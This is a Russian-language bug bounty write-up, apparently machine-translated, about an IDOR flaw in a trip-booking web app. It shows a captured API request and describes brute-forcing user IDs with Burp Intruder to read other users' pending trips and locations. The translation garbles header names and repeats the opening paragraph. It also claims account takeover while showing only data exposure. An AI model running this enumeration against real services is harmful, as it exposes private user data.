IDOR раскрывает пользователю информацию об ожидаемой поездке | Часть 01

Dec 02 2022
Привет, удивительные хакеры и энтузиасты безопасности, сегодня я собираюсь написать о чем-то очень важном. Выявление ошибок IDOR, которые приводят к полному захвату учетных записей без взаимодействия с пользователем, — это моя первая ошибка IDOR.

Привет, удивительные хакеры и энтузиасты безопасности, сегодня я собираюсь написать о чем-то очень важном. Выявление ошибок IDOR, которые приводят к полному захвату учетных записей без взаимодействия с пользователем, — это моя первая ошибка IDOR.

Прежде чем переходить к ошибке, давайте немного расскажем об IDOR.

IDOR (небезопасные прямые ссылки на объекты)

Небезопасные прямые ссылки на объекты (IDOR) — это тип уязвимости управления доступом, который возникает, когда приложение использует введенные пользователем данные для прямого доступа к объектам. Уязвимости IDOR чаще всего связаны с горизонтальным повышением привилегий, но они также могут возникать в связи с вертикальным повышением привилегий.

Итак, назовем цель target.com. Я начал с Recon на основном домене. Теперь, после Recon, я начал понимать, как работает приложение. Просто откройте Burp. и начинаем анализировать приложение как оно работает, как обрабатывает запрос, смотрите какие методы разрешены. анализировать исходный код на наличие любого ключа секретного API, любого токена или конечных точек.

Я просматриваю и использую некоторые функции, такие как обновление профиля, загрузка изображения профиля и изменение пароля без старого пароля, а также отслеживаю каждый запрос и ответ с помощью burp.

Ошибка 01: IDOR раскрывает информацию об ожидающих поездках пользователя .

Я планирую поездку и после этого делаю запрос на получение информации о моей поездке. поэтому запрос выглядит так

/target-dev/index.php/UserPortal/Trip/tripListByUser

Запрос

POST /targetservice-dev/index.php/UserPortal/Trip/tripListByUser HTTP/1.1

Хост: app.target.com

Файл cookie: _ga_4FPFRN1P35=GS1.1.1669338233.4.0.1669338233.0.0.0; _ga=GA1.1.749545081.1669213744; bfp_sn_rf_b10ce94cf299b167b74a6944e0aec9d4=Прямой; bfp_sn_rt_b10ce94cf299b167b74a6944e0aec9d4=1669215441778; ci_session=4rk74md1hpc0hrac5dfv3li2av

Агент пользователя: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Принять: приложение/json, текст/обычный, */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Длина контента: 59

Происхождение: https://app.target.com

Реферер: https://app.target.com/target-user-portal/

Sec-Fetch-Dest: пусто

Sec-Fetch-Mode: cors

Sec-Fetch-Site: того же происхождения

Тэ: трейлеры

Подключение: закрыть

{"user_id": "1654", "статус": "в ожидании", " TARGETAUTHKEY ": 8342}

Теперь обратите внимание на две вещи. Во-первых, это T ARGETAUTHKEY, а во-вторых, «user_id»: «1654».

отправьте этот запрос на ретранслятор и посмотрите в ответ, вы получите информацию об ожидающей информации о поездке.

Теперь, после этого, отправьте запрос злоумышленнику и перебором введите «user_id», а полезная нагрузка — это число, начинающееся от 0000 до 9999, и последовательность — 1. Нажмите «Начать атаку». И краткий список запроса и ответа по длине Booom, вы получаете информацию о другом пользователе, ожидающем поездки, с раскрытием идентификатора пользователя и местоположения выбора пользователя.

Ответ

{"user_id": "418", "status": "ожидание", "LOADMEEAUTHKEY": 8012, Trip_Id: XXXX, Tripe_location: "выбранные пользователем данные", Tripe_destination: "место отправления поездки", Essitemate_total: 35000}

Итак, этот ответ раскрывает две вещи

  1. зарегистрировать идентификатор пользователя и местоположение
  2. Данные о поездке

Удачного взлома